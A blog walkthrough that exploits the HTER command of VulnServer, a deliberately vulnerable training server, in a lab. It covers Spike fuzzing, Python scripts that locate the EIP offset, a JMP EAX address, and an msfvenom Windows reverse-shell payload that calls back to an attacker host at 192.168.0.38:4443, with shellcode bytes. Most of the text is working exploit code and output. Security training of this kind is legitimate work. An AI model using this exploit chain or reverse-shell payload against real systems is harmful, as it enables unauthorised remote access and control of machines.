Exploiting HTER in VulnServer

Exploiting HTER in VulnServer

Fresh from completing the GMON buffer overflow exploit its time to move on and start attacking the next component. Today we will be exploiting HTER in vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver and get started.

The Spike template is:

s_string("HTER");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Quickly a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that EIP has been overwritten with ‘AAAAAAAA’ . This is highly unusual and not something that I have seen before. Typically I would expect to see ‘\x41\x41\x41\x41’ if it were overwritten with a string of A’s.

EIP Overwrite
EIP Overwrite

Let’s reproduce the EIP overwrite with a Python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = 'A' * 3000

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, submit and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity we see an interesting result. The only characters observed are hex characters. As we exploiting HTER later we will have to be conscious of these characters.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = ("0123456789ABCDEF" * 187)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Let’s resend the payload with only hex characters and observe the result. As we anticipated all the hex characters are returned however it appears that ‘0’ is omitted at the start. We will append a zero to the start of the payload to compensate.

We now know that we have be very careful with an extremely small number of characters allowed to be used as part of our payload. Alternatively we will have to encode them prior to sending our payload and then decode them in memory.

Target the bytes to overwrite EIP

The next step is to identify the exact bytes that overwrite EIP. Normally I would create a pattern with the Metasploit Framework. In this instance though with our limited character selection it will have to be more manual approach by trial and error.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 200
+ "2" * 200
+ "3" * 200
+ "4" * 200
+ "5" * 200
+ "6" * 200
+ "7" * 200
+ "8" * 200
+ "9" * 200
+ "A" * 200
+ "B" * 200
+ "C" * 200
+ "D" * 200
+ "E" * 200
+ "F" * 200
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in immunity debugger EIP was over written with ‘BBBBBBBB’ . We now know that the EIP over write takes place somewhere between 2000 and 2200 bytes. Let’s see if we can narrow it down further. The Python payload is modified as below:

r/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2000
+ "2" * 20
+ "3" * 20
+ "4" * 20
+ "5" * 20
+ "6" * 20
+ "7" * 20
+ "8" * 20
+ "9" * 20
+ "A" * 20
+ "B" * 20
+ "C" * 20
+ "D" * 20
+ "E" * 20
+ "F" * 20
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

We are getting closer to exploiting HTER! EIP over write this time was ‘44444444’ and we now know he payload is between 2040 and 2060 bytes.

EIP Overwrite at '44444444'
EIP is overwritten with ‘44444444’

Once again the Python script is modified to move us closer to the elusive EIP byte offset value.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2040
+ "2" * 2
+ "3" * 2
+ "4" * 2
+ "5" * 2
+ "6" * 2
+ "7" * 2
+ "8" * 2
+ "9" * 2
+ "A" * 2
+ "B" * 2
+ "C" * 2
+ "D" * 2
+ "E" * 2
+ "F" * 930
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Success! The EIP overwrite was successful and we see ‘55443322’. We now know that the offset is 2040 bytes. To be confident we are right we modify the payload one last time. The buffer value is set to:

buffer = ('A' * 2040 + 'B' * 8 + 'C' * 950)

And as expected we see EIP is now ‘BBBBBBBB’.

EIP overwrite with 'BBBBBBBB'
EIP Overwritten at 2040 bytes

Find a JMP to XXX

The next step is find a usable JMP or CALL instruction….. somewhere! Through trial and error it was discovered that the EAX register points to the start of the payload directly after, HTER 0.

There is a DLL in use by the VulnServer and perhaps it contains a JMP EAX instruction. It’s time to take a look but we have to remember the bad character analysis that we performed.

In Immunity we use the mona plugin to identify the JMP EAX This is achieved by using the command !mona jmp -r EAX and we get the following output:

EAX JMP's
JMP Instructions in ESSfunc.dll

Many of the values returned are unsuitable as they contain null bytes The memory address #625011B1 looks good and it’s what we will proceed with. The python script is updated to include ‘B1115062’ and a break point is set at this address. The Python script is executed and Immunity Debugger pauses execution at the break point.

Break point set
Execution paused at the break point

Payload Creation

We are close to the end of the exploit and all that remains now is to create the reverse shell payload for exploiting HTER and include it in our Python code. As always lets use the Metasploit Framework to generate this for us.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
buf = 
"\xdb\xd0\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x4f\xba\xca\x79" +
"\x63\x44\x31\x57\x19\x83\xef\xfc\x03\x57\x15\x28\x8c\x9f" +
"\xac\x25\x6f\x60\x2d\x55\xf9\x85\x1c\x47\x9d\xce\x0d\x57" +
"\xd5\x83\xbd\x1c\xbb\x37\x35\x50\x14\x37\xfe\xde\x42\x76" +
"\xff\xef\x4a\xd4\xc3\x6e\x37\x27\x10\x50\x06\xe8\x65\x91" +
"\x4f\x15\x85\xc3\x18\x51\x34\xf3\x2d\x27\x85\xf2\xe1\x23" +
"\xb5\x8c\x84\xf4\x42\x26\x86\x24\xfa\x3d\xc0\xdc\x70\x19" +
"\xf1\xdd\x55\x7a\xcd\x94\xd2\x48\xa5\x26\x33\x81\x46\x19" +
"\x7b\x4d\x79\x95\x76\x8c\xbd\x12\x69\xfb\xb5\x60\x14\xfb" +
"\x0d\x1a\xc2\x8e\x93\xbc\x81\x28\x70\x3c\x45\xae\xf3\x32" +
"\x22\xa5\x5c\x57\xb5\x6a\xd7\x63\x3e\x8d\x38\xe2\x04\xa9" +
"\x9c\xae\xdf\xd0\x85\x0a\xb1\xed\xd6\xf3\x6e\x4b\x9c\x16" +
"\x7a\xed\xff\x7e\x4f\xc3\xff\x7e\xc7\x54\x73\x4d\x48\xce" +
"\x1b\xfd\x01\xc8\xdc\x02\x38\xac\x73\xfd\xc3\xcc\x5a\x3a" +
"\x97\x9c\xf4\xeb\x98\x77\x05\x13\x4d\xd7\x55\xbb\x3e\x97" +
"\x05\x7b\xef\x7f\x4c\x74\xd0\x9f\x6f\x5e\x67\x98\xf8\xa1" +
"\xd0\x26\xdf\x49\x23\x26\x0e\xd1\xaa\xc0\x5a\xf5\xfa\x5b" +
"\xf3\x6c\xa7\x17\x62\x70\x7d\xbf\x07\xe3\x1a\x3f\x41\x18" +
"\xb5\x68\x06\xee\xcc\xfc\xba\x49\x67\xe2\x46\x0f\x40\xa6" +
"\x9c\xec\x4f\x27\x50\x48\x74\x37\xac\x51\x30\x63\x60\x04" +
"\xee\xdd\xc6\xfe\x40\xb7\x90\xad\x0a\x5f\x64\x9e\x8c\x19" +
"\x69\xcb\x7a\xc5\xd8\xa2\x3a\xfa\xd5\x22\xcb\x83\x0b\xd3" +
"\x34\x5e\x88\xf3\xd6\x4a\xe5\x9b\x4e\x1f\x44\xc6\x70\xca" +
"\x8b\xff\xf2\xfe\x73\x04\xea\x8b\x76\x40\xac\x60\x0b\xd9" +
"\x59\x86\xb8\xda\x4b"

The payload was tidied up with characters ” + and \x removed and inserted into the Python script below.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

#msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

payload = ("dbd0d97424f45f2bc9b14fbaca79634431571983effc035715288c9fac256f602d55f9851c479dce0d57d583bd1cbb3735501437fede4276ffef4ad4c36e3727105006e865914f1585c3185134f32d2785f2e123b58c84f442268624fa3dc0dc7019f1dd557acd94d248a526338146197b4d7995768cbd1269fbb56014fb0d1ac28e93bc8128703c45aef33222a55c57b56ad7633e8d38e204a99caedfd0850ab1edd6f36e4b9c167aedff7e4fc3ff7ec754734d48ce1bfd01c8dc0238ac73fdc3cc5a3a979cf4eb987705134dd755bb3e97057bef7f4c74d09f6f5e6798f8a1d026df4923260ed1aac05af5fa5bf36ca71762707dbf07e31a3f4118b56806eeccfcba4967e2460f40a69cec4f2750487437ac5130636004eeddc6fe40b790ad0a5f649e8c1969cb7ac5d8a23afad522cb830bd3345e88f3d64ae59b4e1f44c670ca8bfff2fe7304ea8b7640ac600bd95986b8da4b")

# 625011B1 JMP EAX
buffer = ('90' * 50 + payload + 'A' * (1940-len(payload)) + 'B1115062' + 'C' *950)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

All that remains is to test our code. A netcat listener is configured to listen on port 4443 and the payload is sent. For some reason nothing happens. The application crashes but our netcat listener doesn’t receive a call back and we need to understand why. It’s time to dive back into Immunity Debugger and observe the execution flow.

EIP is equal to EAX
EIP close to ESP

It took me a while to figure out the issue that was causing the problem. I found a good blog entry by sh3llc0d3r.

If EIP is bigger, than ESP, there is no problem as they are moving away from each other. If EIP is lower than ESP, a problem can raise as they go toward each other and the the program code might change if ESP reaches EIP.

With this information our initial payload was changed from “HTER 0” to “HTER 0505C” and voila we a reverse shell!

Reverse Shell
Reverse Shell Received

It worked! Our payload was executed and the Windows machine established a reverse shell back to our Backtrack machine. The HTER component of the Vulnserver is complete. My next blog post will attempt to exploit other Vulnserver modules.

The full GTER exploit code is in my github.

Leave a Reply

Your email address will not be published. Required fields are marked *